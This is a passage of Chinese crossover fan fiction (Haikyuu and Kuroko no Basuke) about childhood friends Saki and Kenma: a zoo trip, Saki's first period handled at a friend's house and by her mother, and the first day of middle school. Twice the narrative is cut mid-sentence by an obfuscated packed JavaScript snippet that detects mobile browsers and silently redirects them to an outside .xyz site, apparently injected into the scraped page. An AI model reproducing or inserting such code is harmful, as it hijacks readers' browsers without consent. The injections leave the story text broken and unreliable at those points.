这时黑尾铁朗也上来了,他从门口探了个脑袋进来问道:“纱季你要走了吗?可是刚刚孤爪阿姨说再给我们烤苹果派呢。” “那我下去帮帮阿姨吧。”黑尾纱季果断起身向楼下走去。 楼下的厨房里其实已经不需要黑尾纱季做什么了,烤箱里散发出苹果派香甜的气息孤爪光笑眯眯地看着黑尾纱季走下来朝她招招手。 “纱季最近都没怎么来找研磨玩呢。”孤爪光亲切地说道。 “嗯最近报了一个补习班课余时间都在上课。”黑尾纱季叹了口气 “阿拉,我听研磨说过,是在为上东大做准备吗?真难得啊,你们现在还在国小就这么努力。”孤爪光感叹道。 有些不好意思的抓抓衣角,黑尾纱季:“其实也没有啦,只是目前只能找到这个想做的事情。” “那也比我们研磨好啊,一天就只知道打游戏。”孤爪光看上去有些担忧。 “研磨很棒的,”黑尾纱季抬头,有些严肃的说着:“他不仅是在玩游戏,还在这上面有很多研究,说明他很聪明的。” 孤爪光笑了笑没在继续刚刚的话题:“那孩子说以后也想上上东大呢。” 这让黑尾纱季有些诧异,她的眼睛微微睁大:“我还没听研磨说过。” 23.动物园 在得知孤爪研磨也决定报考东大后,黑尾纱季不会自恋到认为这是因为自己,但那份由衷的开心却像春日里突然绽放的樱花,不受控制地在心底蔓延开来。 于是她对研磨摆出一副嘘寒问暖的架势,从清晨的便当到课间递来的温牛奶,仿佛要将所有的温暖都倾注于他。 这种过分的关怀让孤爪研磨像只被突然抱起的猫,既感到不自在又隐约享受着这份温度。 他悄悄观察着好友亮晶晶的眼睛,却始终找不到她突然这么热情的原因,最终只能痛并快乐着接受——反正以他对黑尾纱季的了解,这份突如其来的关怀通常不会持续太久。 这次学校组织去动物园参观时,黑尾纱季自告奋勇地在厨房忙活了整个晚上,终于烤出一份堪称完美的苹果派。 说到她的苹果派,那完全是根据孤爪研磨挑剔的口味一步步改良而来的。 从第一次尝试时烤焦的边缘开始,她就默默记下研磨每次品尝时细微的反应,在她心里,这个对甜点苛刻到极致但是表面上又不表现出来的家伙,就是世界上最权威的苹果派品鉴专家。 而孤爪研磨,也仿佛心有灵犀一般,未加商量便带上了黑尾纱季最近钟爱的巧克力豆曲奇。 当两人在摇晃的巴士上同时打开书包的那一刻,烘焙黄油的暖香与可可的醇厚在空气中交织,黑尾纱季的苹果派边缘呈现出完美的金棕色波纹,而研磨带来的曲奇上,巧克力豆分布得就像他打游戏时精心计算的布局。 彼此的眼中都闪烁着惊喜的光芒,随后相视一笑,车窗外的阳光突然变得格外明亮。 动物园的分组简单得近乎敷衍,班主任推了推眼镜,直接按照座位表将黑尾纱季与孤爪研磨、桃井五月与青峰大辉分成两组。 入口处彩色气球拱门下,桃井五月晃了晃手中的拍立得相机:“我一定会把阿大被长颈鹿吓到的样子拍下来!” “哈?谁会怕那种长脖子家伙啊!”青峰大辉立刻反驳,古铜色的脸上写满不服。 四人约定中午十二点半在企鹅喷泉前集合后,黑尾纱季和孤爪研磨对视一眼,默契地转身走向北区,他们的运动鞋不约而同地转向画着熊猫剪影的指示牌。 大熊猫,这个动物园的明星,自然成了他们首选的目标。 两人因为没在其他展馆停留,抵达熊猫馆时游客还不多。 透明的玻璃后,一只圆滚滚的大熊猫正慵懒地躺在仿生竹架上,前爪抱着鲜嫩的竹子,像美食家鉴赏佳肴般慢条斯理地撕扯着叶片,每咬下一口,圆耳朵就会满足地抖动两下,憨态可掬的模样引得周围的游客发出阵阵笑声。 “我真的永远都会喜欢熊猫!”黑尾纱季整个人贴在观察窗上,鼻尖在玻璃上压出小小的白印,眼中闪烁着无尽的喜爱。 孤爪研磨站在她身后半步的位置,目光从熊猫身上移到少女被阳光照亮的发梢,又很快移了回去,认真地点了点头。 “我说大熊猫是治愈世界的天使,应该没有人会反对吧?真的好可爱啊!”黑尾纱季兴奋地转过身,拉扯着孤爪研磨的袖子。 浑不在意自己的衣服被扯得有些歪斜,孤爪研磨此时正有些后悔没带上相机,无法记录下熊猫吃竹子的治愈瞬间。 馆内的大熊猫仍在专注地啃食着竹子,黑尾纱季却突然灵机一动:“研磨,你说熊猫的尾巴究竟是黑色还是白色的呢?” 这个突如其来的问题让孤爪研磨陷入沉思。 他脑海中快速闪过各种熊猫形象,却惊讶地发现自己从未注意过这个细节。 “......白色?”回答带着不确定的上扬尾音。 “那我们在这里好好看看好了!它肯定会动起来的,到时候我们就能知道是什么颜色了。” 说完,黑尾纱季就保持着双手撑膝的姿势,像等待猎物出现的猎人般专注地盯着熊猫。 孤爪研磨也调整了站姿,两人仿佛在进行一项重要的科学观察。 熊猫似乎并不知道玻璃外有两个执着的小朋友,依然悠闲地躺在竹架上享用它的早餐。 但黑尾纱季和孤爪研磨并不着急,他们觉得光是看熊猫慢条斯理啃竹子的样子就能看上一整天,那种纯粹的治愈感让人沉醉其中。 时间在不知不觉中流逝,当馆内游客已经换了好几拨时,熊猫终于吃完了最后一根竹笋,开始活动身体。 两人立刻屏住呼吸,不约而同地站直了身子。 只见它缓缓撑起圆滚滚的身体,像喝醉的水手般摇晃着走向游乐区,那里摆放着各种丰容玩具。 可惜由于角度问题,他们还是没能看到尾巴。就在黑尾纱季失望地叹了口气时,熊猫突然开始转身! 她立刻握紧拳头举在胸前,眼睛一眨不眨地紧盯着那个黑白相间的背影,孤爪研磨也不自觉地向前倾身。 终于,在熊猫完全转身的瞬间,一簇短短的白色尾巴像害羞的小月亮,在黑白相间的毛皮间若隐若现。 “是白色!”两人异口同声地宣布这个重大发现,随后默契地相视一笑,仿佛共同完成了一项了不起的研究。 这个困扰他们许久的问题终于得到解答,心中涌起的满足感甚至比解开数学难题还要强烈。 解决了这个疑问后,黑尾纱季和孤爪研磨决定去看可以摸的小兔子。 然而刚走出熊猫馆没多远,两人就被正午的烈□□得停下了脚步,直到这时他们才惊觉,在熊猫馆等待观察尾巴已经花费了整个上午的时间。 超级怕热的他们试探着向前走了不到十米,就被炙热的阳光晒得头晕眼花,双双决定放弃原计划。 “要不我们去坐摆渡车吧?就在前面不远。”黑尾纱季退回熊猫馆门口的阴凉处,指着地图上的餐饮区提议:“然后在那里等五月他们。” 孤爪研磨立刻点头同意,他感觉自己快要被晒化了,苍白的面颊已经泛起不自然的红晕。 两人以逃命般的速度冲上摆渡车,当凉爽的空调风扑面而来时,不约而同地发出得救般的叹息。 “夏天真是太可怕了。”黑尾纱季呆滞地望着窗外,额前的刘海已经被汗水浸湿,软塌塌地贴在额头。 孤爪研磨像只脱水的猫般瘫在座位上,轻声附和:“好想回家。” 他的声音虚弱得几乎听不见,眼神中满是对空调房的渴望。 摆渡车刚在餐饮区停稳,黑尾纱季就拉着研磨冲向最近的冷饮店。 推开玻璃门的瞬间,清凉的空气夹杂着甜腻的奶油香气扑面而来,可惜店内已经座无虚席,就在黑尾纱季绝望地环顾四周时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504357|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然发现角落里还有一个空位。 “研磨去占座!我去点单!”她当机立断地把好友推向那个宝贵的位置,自己则灵活地穿过人群来到点餐台前。 对于冰淇淋的口味,两人有着惊人的一致偏好。 不到五分钟,黑尾纱季就端着两杯巧克力拼抹茶的冰淇淋回到座位。 此时的孤爪研磨已经像融化的冰淇淋一样瘫在桌面上,只有微微起伏的肩膀证明他还活着。 “给!”黑尾纱季恶作剧般把冰凉的杯壁贴上他的脸颊,孤爪研磨立刻像触电般弹起来,眯起的金色猫眼里满是获救般的感激。 “夏天真是太可怕了。”他坐直身体再次感叹,这次声音里已经恢复了些许活力。 黑尾纱季深有同感地点头,两人安静地享用着冰淇淋,让清凉的甜蜜慢慢驱散暑气。 窗外的喧嚣渐渐远去,只剩下勺子偶尔碰撞杯壁的清脆声响。 ...... 桃井五月这次特意带了拍立得相机,还备足了相纸。 四人集合吃完午餐后,她立刻提议拍合照留念。 前两张照片里,黑尾纱季和孤爪研磨保持着礼貌的微笑,青峰大辉则僵硬得像根木桩。 “你们是来参加葬礼的吗?”桃井五月举着相纸不满地皱眉。 第三张照片里四人齐刷刷地比着剪刀手,但青峰大辉抽搐的嘴角和孤爪研磨飘忽的眼神反而更滑稽了。 “阿大真是的,平时不是话很多吗?怎么一到拍照就拘谨得像变了个人?”桃井五月双手叉腰抱怨道。 “哈?”青峰大辉立刻挑起眉毛反击。 看着这对青梅竹马又开始斗嘴,黑尾纱季和孤爪研磨在旁边看得津津有味,这可比摆姿势拍照有趣多了。 最后桃井五月拉着黑尾纱季单独拍了几张女生合照。 “还是我们女孩子一起拍照最好了,他们简直无趣死了!”桃井五月满意地翻看着相片,早忘了刚才和青峰的争执。 黑尾纱季却指着照片里表情略显僵硬的自己:“但我好像表现得也不是很好?” “怎么会!纱季明明这么可爱!”桃井五月想都不想就反驳道。 在她的热情感染下,黑尾纱季逐渐放松,后来的照片里笑容越来越自然。 桃井五月选出最好看的几张送给她:“以后每年都这样拍照吧,等我们老了就是最棒的回忆!” 这个提议让黑尾纱季想起家里妈妈珍藏的相册,她认真点头承诺下次会带更专业的相机来。 下午茶时间,四人围坐在树荫下分享零食。 黑尾纱季的苹果派获得一致好评,她开心地拍拍研磨的手臂:“这都是研磨提出的改良建议呢,现在是最优版的苹果派啦!” 除了她的烘焙作品,其他三人带的都是家长准备的精致点心和便利店零食,五颜六色地铺满野餐垫。 当夕阳西斜时,黑尾纱季摸着圆鼓鼓的肚子走向集合点。 她的背包里装着合照、剩下的曲奇,还有关于熊猫尾巴颜色的重大发现。 身旁的孤爪研磨依旧沉默,但卫衣兜帽下的嘴角带着难得的柔和弧度。 这个充满甜食、欢笑和小小发现的夏日,就像融化在舌尖的冰淇淋,留下久久不散的甜蜜余韵。 24.生理期 得知妹妹的理想国中学校是帝光以后,黑尾铁朗难得把打排球的精力分了一点给学习,补习班的老师说他进步很快,再加上这几个月来的挑灯夜读,他终于如愿以偿地踏入了帝光中学的大门。 哥哥去读帝光以后,黑尾纱季也迎来了六年级的毕业季。 窗外的樱花开了又谢,教室里弥漫着初夏特有的燥热气息。 她虽然深知以自己的成绩考入帝光中学毫无悬念,但最近这几天却莫名地感到焦躁,像有一只无形的手攥紧了她的心脏,情绪变得异常敏感。 上周,班里养的兔子小雪寿终正寝,许多女生都围在兔笼前伤心落泪。 原以为自己对这些会无动于衷的黑尾纱季,竟也在班级里第一次红了眼眶,她咬着下唇,看着空荡荡的兔笼,晶莹的泪水在眼眶里打转,最终顺着脸颊滑落。 这个突如其来的情绪波动让她自己都吓了一跳。 细心的孤爪研磨注意到了黑尾纱季的异样。 第二天午休时,他从书包里掏出一个超可爱的兔子挂件递给她,挂件上的兔子有着粉色的耳朵和圆溜溜的眼睛,看起来憨态可掬。 “给......”研磨的声音轻得几乎听不见:“昨天看你很难过。” 或许是因为平日里阅读较多的缘故,班里重新买了兔子后,许多同学都来向黑尾纱季请教喂养技巧。 “纱季,兔子能吃胡萝卜吗?” “一天要喂几次水?” 起初,她还耐心地一一回答,但渐渐地,黑尾纱季的眉宇间透露出了一丝不耐烦,她的太阳穴突突地跳着,连呼吸都变得急促起来。 桃井五月看出了好友的不悦,巧妙地打发了围在黑尾纱季身边的同学。 “大家别都挤在这里啦,新来的兔子需要安静的环境呢。”她微笑着将同学们引开,然后体贴地凑到黑尾纱季身边,轻声问道:“怎么了?” “不知道这周怎么回事。”黑尾纱季疲倦地捏了捏鼻梁,声音里带着几分困惑:“感觉情绪有些失控,就像......” 她顿了顿,似乎在寻找合适的比喻:“就像坐过山车一样。” 桃井五月担忧地看着她:“纱季,你是不是最近备考的压力太大了?” 黑尾纱季叹了口气,合上了手中的《动物饲养指南》,苦恼地说:“我也不清楚,之前还没有像最近这两天这样呢,明明考试对我来说不是什么难事......” “我买了个新游戏。”孤爪研磨不知何时出现在她们身后:“周末要不要来我家玩玩看?放松一下。” 感觉最近情绪状态确实不佳的黑尾纱季同意了这个邀请。 ...... 周六这天,原本打算早上起来和哥哥一起晨跑的黑尾纱季,却破天荒地睡到了快吃午饭的时候才醒。 阳光已经爬到了窗帘的顶端,将整个房间照得亮堂堂的,她迷迷糊糊地睁开眼,发现闹钟的时针已经指向了十一。 她打着哈欠下楼时,妈妈黑尾明美已经端了几道菜摆在餐桌上了,厨房里飘来阵阵香气,红烧肉的酱香混合着味增汤的鲜味,勾得人食指大动。 “纱季,你不舒服吗?还是昨晚睡晚了?怎么现在才起来?”黑尾拓真放下手中的报纸,难得见到女儿这么晚起床,关切地问道。 黑尾纱季又打了个哈欠,擦拭掉眼角的泪水:“没有啊,就是感觉好累哦。” 她的声音里带着浓浓的倦意,像是被人抽走了全身的力气。 “是不是感冒了?”黑尾明美担忧地走过来,温热的手掌轻轻贴在女儿的额头上,停留了几秒后才松了口气:“温度正常。” “我觉得纱季应该是最近学习太努力了。”黑尾铁朗从冰箱里拿出麦茶,给每个人都倒了一杯:“我去年备考的时候都没这么用功。” 他伸手揉了揉妹妹的发顶,发丝柔软的触感让他忍不住又多摸了两下:“不要太给自己压力呀,纱季。” 黑尾纱季顺着哥哥的力道晃着头,神色恹恹的,又打了个哈欠:“我等会要去研磨家打游戏,你要去吗?” 她看着哥哥,发现他今天穿着休闲的T恤和运动短裤,显然是准备出门的打扮。 想到昨天自告奋勇答应妈妈一起去超市大采购,黑尾铁朗耸了耸肩:“晚一点吧。” 他做了个苦瓜脸:“我得先完成妈妈交代的采购任务。” 餐桌上摆着兄妹两人最喜欢的盐焗秋刀鱼,金黄的鱼皮上撒着细碎的海盐,散发着诱人的香气。 这本是平时黑尾纱季最喜欢的菜肴,但此刻她却毫无食欲,鱼肉入口,味同嚼蜡,强撑着吃完面前的鱼后,她才意识到家里人正用担忧的眼神看着自己。 “怎么了吗?”黑尾纱季有些茫然地放下筷子,碗里的米饭几乎没怎么动过。 “秋刀鱼你都不爱吃了!”黑尾铁朗大惊失色,他侧身学着妈妈之前的动作摸了摸妹妹的额头,喃喃自语道:“也没发热啊。” 黑尾明美也满脸担忧:“要不等下还是去医院看看?纱季真的没有什么不舒服吗?” 哭笑不得地挥开哥哥的手,黑尾纱季安抚道:“真的没有什么事,可能是太累了没什么胃口。” “要注意劳逸结合。”黑尾拓真推了推眼镜,语气严肃地叮嘱着。 旁边的黑尾铁朗也大声附和:“就是啊,纱季你就是用功太过了!” 他夸张地挥舞着手臂:“像我这样,该玩的时候就要好好玩!” “好好吃你的饭,别带坏你妹妹。”黑尾明美无奈地喊住儿子。 一顿不算平静的午饭结束后,黑尾纱季又回楼上睡了一个多小时,她蜷缩在被窝里,像只慵懒的猫。 直到闹钟响起,她才慢悠悠地走去隔壁孤爪家。 今天孤爪夫妇都不在家,只有孤爪研磨一个人。 黑尾纱季按响门铃后,孤爪研磨很快就来开了门,他穿着宽松的居家服,头发有些乱糟糟的,显然是一整天都没出门的样子。 瞄了一眼整洁干净的厨房,黑尾纱季断定孤爪研磨中午估计又是把零食当饭吃了,料理台上连一个碗都没有,垃圾桶里却多了几个零食包装袋。 两人慢吞吞地爬到二楼,黑尾纱季看到卧室里孤爪研磨的游戏按了暂停,屏幕上显示着游戏暂停的字样。 她拖了个软垫放在床边:“你先把这个打完。” 说完,她又懒洋洋地打了个哈欠,看上去像一只困倦又慵懒的小黑猫,随时都可能蜷缩成一团睡去。 不知道今天到底怎么回事,黑尾纱季感觉自己超级能睡。 只是等待好友的几分钟时间,困意就如潮水一般席卷而来,她的眼皮越来越重,最终不敌这阵睡意,沉沉睡去。 等她醒来的时候,孤爪研磨的游戏已经进展过半,屏幕上色彩斑斓的画面不断变换,游戏音效在安静的房间里格外清晰。 “我睡了多久?”黑尾纱季一边问一边伸手拍拍脸,试图赶走残留的睡意,她的声音因为刚睡醒而有些沙哑。 孤爪研磨侧脸看到好友醒过来了,把游戏声音调大:“可能两个多小时吧,我没注意。” 他的眼睛仍然盯着屏幕,手指灵活地操作着游戏手柄。 黑尾纱季站起身:“那我去洗把脸,好困哦。” 她伸了个懒腰,感觉全身的骨头都在咔咔作响。 然而站直以后,她才发觉有些不对劲,一种奇怪的潮湿感从下身传来,她下意识地摸了摸裙子后面,手指触到了一点黏腻。 她顺势低头,瞳孔猛地放大,发现软垫上竟然有一抹红痕,在浅色的布料上格外刺眼。 “啊啊啊啊啊——”黑尾纱季捂住脸小声尖叫起来,生理课上老师讲过的知识全部涌入脑海 。她后知后觉地意识到自己最近的异常情绪、嗜睡和食欲不振,都是因为初潮的到来。 血液瞬间涌上脸颊,她的耳根烫得吓人。 “怎么了?”孤爪研磨闻声看过来,游戏角色因为他的分心而被怪物击中,屏幕上跳出Game Over的字样。 他的视线从屏幕移到软垫上,然后也发现了那抹红痕。 两人双双陷入沉默,空气仿佛凝固了。 孤爪研磨的耳朵以肉眼可见的速度变红,他手中的游戏手柄差点掉在地上。 过了一会,孤爪研磨率先开口,他试探道:“要不你先围上我的外衣回家?明美阿姨现在应该在家吧?” 他的声音比平时高了一个八度,眼神飘忽不定,就是不敢看好友的脸。 “妈妈和哥哥去超市采购了。”黑尾纱季绝望地继续捂着脸,她觉得自己此时此刻已经丢脸到不能再见人了。 “那我现在去便利店给你买个,咳,买个那个?”孤爪研磨吞吞吐吐地说着。 但是黑尾纱季一下子没有反应过来,她有些迷茫地反问:“那个?” 叹了口气,孤爪研磨有些纠结地捏住手柄,指节都泛白了:“卫生巾。” 这几个字几乎是从牙缝里挤出来的。 黑尾纱季又不说话了,室内再次陷入一片寂静。 等她独自消化完一腔情绪以后,才闷闷地说着:“呜呜呜,研磨就拜托你了。”她的声音里带着哭腔,但更多的是羞窘。 孤爪研磨伸手轻轻拍了拍黑尾纱季的头,动作轻柔得像在安抚一只受惊的小动物:“不要在意,这是正常的生理现象,你先去卫生间等我,我马上就去买。” 说完,他迅速起身,从衣柜里随便抓了件外套就往外冲。 “QAQ,研磨你真可靠呜呜呜呜呜,就靠你了!”黑尾纱季对着好友匆匆离去的背影喊道,声音里满是感激。 等待孤爪研磨的时间异常漫长,黑尾纱季坐在马桶上,双手捂着脸。 卫生间里淡淡的柠檬清香此刻也无法缓解她的尴尬。 她掏出手机,给妈妈和桃井五月群发了自己初潮到来的消息,还顺便诉说了自己此时此刻坐在孤爪家卫生间里的窘迫。 桃井五月迅速发消息来道喜。 【恭喜纱季成为大姑娘啦!(≧▽≦)】后面还跟着一连串的爱心和花朵表情【不过研磨真的好可靠啊,居然主动去帮你买卫生巾,太暖了!】 黑尾明美过了一会才回复消息。 【宝贝恭喜你!这是值得庆祝的事情,晚上妈妈会在家里做红豆饭。】 可靠的孤爪研磨没让黑尾纱季等太久,她听到前门开关的声音,然后是急促的脚步声。 看他微微喘气的样子,额头上还有细密的汗珠,黑尾纱季估计孤爪研磨是跑着去的,这下黑尾纱季更感动了。 “店员给我推荐了这个款。”孤爪研磨把手中颜色粉嫩的卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508289|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾递过去,包装上印着可爱的卡通图案:“你先看看,包装上有说明。” 他的声音恢复了平静,但耳根仍然红得厉害。 随后他轻声咳嗽了一下,有些不自在的移开视线,又摸摸鼻尖:“那我先回房间了。” 说完,他几乎是落荒而逃,脚步声在走廊上渐行渐远。 等孤爪研磨关上门离开以后,黑尾纱季再次捂住脸发出无声地呐喊。 为什么别人初潮来临的时候基本上都是一个人,而自己却是这么尴尬啊!!!!她在心里哀嚎着,感觉这辈子都没脸见研磨了。 捂着脸狠狠地跺了几脚以后,黑尾纱季才深吸一口气,开始研究卫生巾的包装说明。 她笨手笨脚地按照图示操作,期间差点把包装撕坏,等一切弄完以后,她站在卫生间的镜子前,看着镜中满脸通红的自己,做了好几个深呼吸才鼓起勇气走出去。 她扭扭捏捏地来到孤爪研磨的卧室门口,声音细如蚊呐:“那个,我先回去了。” “啊,好。”孤爪研磨看起来也是浑身不自在,明明刚刚给黑尾纱季买卫生巾的时候看起来那么自然,现在却连眼神都不敢和她对上。 他手中的游戏手柄被握得太紧,发出轻微的咯吱声。 “我想跟你借个外衣挡一下......”黑尾纱季的声音越来越小,到最后几乎听不见了。 孤爪研磨愣了愣,随后像被触电一样立马站起来。 他的动作太急,差点被游戏线绊倒。 他从衣柜里胡乱扯出一件外衣递过去,手臂伸得直直的,仿佛那是什么烫手的东西。 又超级小声地说了句谢谢以后,黑尾纱季迅速接过外衣系在腰间。 深蓝色的运动外套垂到她的大腿中部,完美地遮住了可能存在的痕迹,她丢下一句“等下妈妈要请你来家里吃饭”,就匆匆跑回家了,脚步声在楼梯上咚咚作响。 ...... 晚上,黑尾明美特意买了红豆回家,厨房里飘出甜丝丝的香气。 她给女儿做了一顿丰盛的红豆饭,晶莹的米饭上点缀着饱满的红豆,旁边还配了几道黑尾纱季最爱的小菜。 虽然喜欢甜食,但没想到妈妈会这么大张旗鼓的黑尾纱季,莫名感到有些羞耻。 她的脸颊一直红扑扑的,低头扒饭的速度比平时快了一倍,第一个放下筷子后,说了句我吃完了就逃也似地回卧室趴在床上,把脸深深地埋进枕头里。 大概过了半小时左右,黑尾明美轻轻敲开了黑尾纱季的卧室门。 她手中端着一杯温热的牛奶,轻轻放在床头柜上。 “我们纱季也成为大孩子了。”黑尾明美有些欣慰地坐在床边,轻轻抚摸着女儿的头,她的手指穿过黑尾纱季柔软的发丝,动作温柔得像在对待什么珍宝。 已经纠结了半天的黑尾纱季转过头看着妈妈,有些委屈地咬了咬下唇:“妈妈为什么要这么兴师动众啊,感觉好丢脸。” 她的声音闷闷的,眼睛里还带着几分困惑。 “纱季怎么会觉得丢脸?”黑尾明美诧异地睁大双眼:“这明明是一件好事,说明你是大姑娘了。” 她轻轻捧起女儿的脸,拇指擦过她微微发红的眼角。 “可是......”回想到班级女生们对于月经这个话题遮遮掩掩的态度,黑尾纱季本能地觉得这或许是一件需要回避且有些羞耻的事情。 了然的笑了笑,黑尾明美开口道:“宝贝,我知道你现在可能觉得有些尴尬或不舒服,这很正常,妈妈第一次经历的时候也有类似的感受。” “但你知道吗?月经是女孩子成长过程中的一个重要里程碑,它表示你的身体正在健康地发育,你已经是个大姑娘了。这是大自然赋予我们女性的独特能力,是生命延续的一部分。”黑尾明美的手轻轻覆在女儿的手上,温暖的触感让黑尾纱季慢慢放松下来。 “妈妈为你准备红豆饭,是因为在很多文化中,初潮被视为一个值得庆祝的时刻。它象征着你的成长和独立,是你人生旅程中的一个新起点。红豆饭不仅美味,还寓意着甜蜜和幸福,我希望你的生活也能像这碗饭一样,充满爱与美好。” 看到黑尾纱季脸上的欲言又止,黑尾明美又继续道:“记住,月经不是一件丢人的事情,它是自然且正常的。我们每个人都会经历这个过程,所以你不必为此感到羞耻或尴尬。相反,你应该为自己身体的正常发育感到骄傲。” 说完,黑尾明美俯身拥住女儿。 母亲的怀抱温暖而安全,带着熟悉的洗衣液清香。 “纱季,你的成长让我既感到欣慰又有些不舍。但请记住,无论何时何地,你都是我最珍爱的宝贝。我相信你会以更加自信和成熟的态度面对生活中的每一个挑战,包括这次的初潮。” 黑尾纱季闷闷地应了一声,妈妈的话虽然有些多,但是她全部听进去了。 此刻她有些庆幸自己的妈妈是如此温柔又体贴,没有像某些同学的妈妈那样对这个话题讳莫如深。 她靠在妈妈怀里,感受着这份无条件的爱与理解。 在来初潮的这一天,黑尾纱季像小时候一样在妈妈的怀里慢慢睡着。 窗外的月光温柔地洒进来,为房间镀上一层银色的光辉,梦里都是温暖又明媚的春天,樱花纷飞中,她看见自己正在慢慢长大。 25.国中 又是一年樱花烂漫时,空气中弥漫着若有似无的甜香,让人不禁驻足深吸一口气。 商业街的橱窗里,各式樱花限定商品争奇斗艳,行人纷纷驻足观赏,不时发出赞叹声,为这短暂而绚丽的季节增添了几分热闹的气氛。 在这个充满希望的季节里,黑尾纱季迎来了人生的新起点——她正式成为了帝光中学的一年级新生。 此刻,她正屏息凝视着挂在衣架上的崭新校服,手指不自觉地抚过胸前的校徽。 洁白的西装外套剪裁得体,浅蓝色的衬衫如同晴空般澄澈,黑色丝带在胸前系成优雅的蝴蝶结,简约中透着精致。 下身的百褶裙随着窗外吹进的微风轻轻摆动,为整套校服增添了几分灵动。 “简直完美。”黑尾纱季轻声赞叹,她后退两步,歪着头打量着这套象征着她新身份的服装,嘴角不自觉地上扬。 早在开学前一天,她就用熨斗将校服打理得一丝不苟,甚至特意买了防尘罩将它罩好挂在墙上,生怕落上一丝灰尘。 现在,这套校服正笔挺地挂在她的衣柜前,等待着明天的正式亮相。 开学日的清晨,闹钟还未响起,黑尾纱季就已经睁开了眼睛。 她需要提前到校,不仅要查看分班情况,还得熟悉教室位置。 “不知道座位是怎么安排的......”她一边系着领结一边思索,手指灵活地打着蝴蝶结。 黑尾纱季匆匆吃完妈妈准备的早餐——烤得恰到好处的吐司、溏心煎蛋和一杯温热的牛奶,与孤爪研磨一同踏上了通往学校的道路。 可惜的是哥哥今天不能一起走,他今早出门前还特意揉了揉她的头发,眼中满是歉意:“抱歉啊纱季,今天教练有重要的事情宣布,不能请假。” 街道两旁的樱花树开得正盛,花瓣如雨般纷纷扬扬地落下。 黑尾纱季踮着脚尖,像跳格子一样避开地上堆积的花瓣,生怕踩坏了这些春天的馈赠,孤爪研磨安静地走在她身边。 她在心中默默祈祷:“希望能和研磨、五月他们分在一个班......” 远远地,她就看见帝光中学气派的校门。 黑色铁艺大门上方,帝光中学四个烫金大字在阳光下闪闪发光。 校门口人头攒动,新生和家长们来来往往,热闹非凡。 桃井五月和青峰大辉正站在校门右侧的樱花树下张望,公告栏前挤满了查看分班信息的学生,不时传来欢呼或叹息声,新生们的喜怒哀乐在这一刻展现得淋漓尽致。 “纱季!”桃井五月眼尖地发现了她,立即高举手臂用力挥舞。 “五月!”黑尾纱季小跑过去,一把抱住好友。 两个女孩像久别重逢的小动物般紧紧依偎在一起,叽叽喳喳地说个不停。 “假期过得怎么样?” “有没有看那部新出的电影?” “你的头发是不是又长长了?” 问题一个接一个,仿佛要把整个假期的思念都倾诉出来。 孤爪研磨和青峰大辉站在一旁,交换了一个心照不宣的眼神,耐心地等待她们结束重逢时刻。 “我们快去看看吧!”黑尾纱季终于松开桃井五月,指向公告栏的方向。 四人挤进人群,在密密麻麻的名单中寻找自己的名字。 公告栏前人头攒动,不时有人踮起脚尖,伸长脖子张望,黑尾纱季凭借娇小的身材灵活地钻到前排,眯着眼睛仔细搜寻。 幸运的是,除了青峰大辉被分到一年B班外,黑尾纱季、孤爪研磨和桃井五月都被分在了一年A班。 “啊啦,青峰好可怜~”黑尾纱季故作夸张地叹了口气,她故意用同情的眼神看着青峰大辉,嘴角却忍不住上扬。 “阿大被我们孤立了呢。”桃井五月也调皮地眨眨眼,语气中满是促狭,她伸手拍了拍青峰的肩膀,假装安慰的样子。 青峰大辉的额角顿时暴起青筋,他举起拳头轻轻敲在桃井五月的头顶:“喂,你们两个适可而止啊!” 他转头看向孤爪研磨,寻求支援似地问道:“孤爪,你不管管她们吗?” 孤爪研磨耸了耸肩,金色的眼眸中闪过一丝笑意:“我觉得挺有趣的。” ...... 推开一年A班的教室门,黑尾纱季发现里面已经三三两两坐了些同学。 教室宽敞明亮,前后各有一块大黑板,墙上贴着新学期的课程表和值日表。 整齐排列的课桌在阳光下泛着木质的光泽,每张桌子上都放着一本崭新的学生手册。 她略感遗憾地抿了抿嘴,不能和孤爪研磨做同桌了,不过很快她又振作起来,迅速选定了一个靠窗的位置。 孤爪研磨自然而然地选择了她后面的座位,桃井五月则坐在她前面。 被好友们环绕的感觉让黑尾纱季心里涌起一股暖流,她忍不住眯起眼睛,像只餍足的猫咪般露出满足的笑容。 随着时间推移,教室渐渐坐满。 同学们或安静地坐着,或三三两两地交谈,空气中弥漫着新学期的兴奋与忐忑。 班主任带领大家前往礼堂参加开学典礼的路上,黑尾纱季注意到走廊墙上挂着的历届优秀毕业生照片,他们的笑容自信而耀眼,让她不禁想象三年后的自己会是什么样子。 礼堂里,新生们按照班级顺序整齐就座,校长的致辞冗长而官方,优秀学生代表的发言也充满套话。 黑尾纱季强忍睡意,开始观察周围的同学。 她的目光首先落在孤爪研磨身上,好友正出神地望着远处,金色的瞳孔微微收缩,仿佛沉浸在某个只有他能看见的世界里,那副专注发呆的模样让黑尾纱季忍俊不禁。 接着她看向桃井五月,发现好友正偷偷玩着手指,他的手指灵活地交织在一起,时而做出小鸟飞翔的形状,时而变成一朵盛开的花,自娱自乐的样子可爱极了。 当黑尾纱季的视线扫过隔壁班级时,一个熟悉的身影闯入眼帘——绿间真太郎,她在补习班认识的朋友。 他依旧戴着那副标志性的眼镜,坐姿端正,一丝不苟地听着校长讲话。 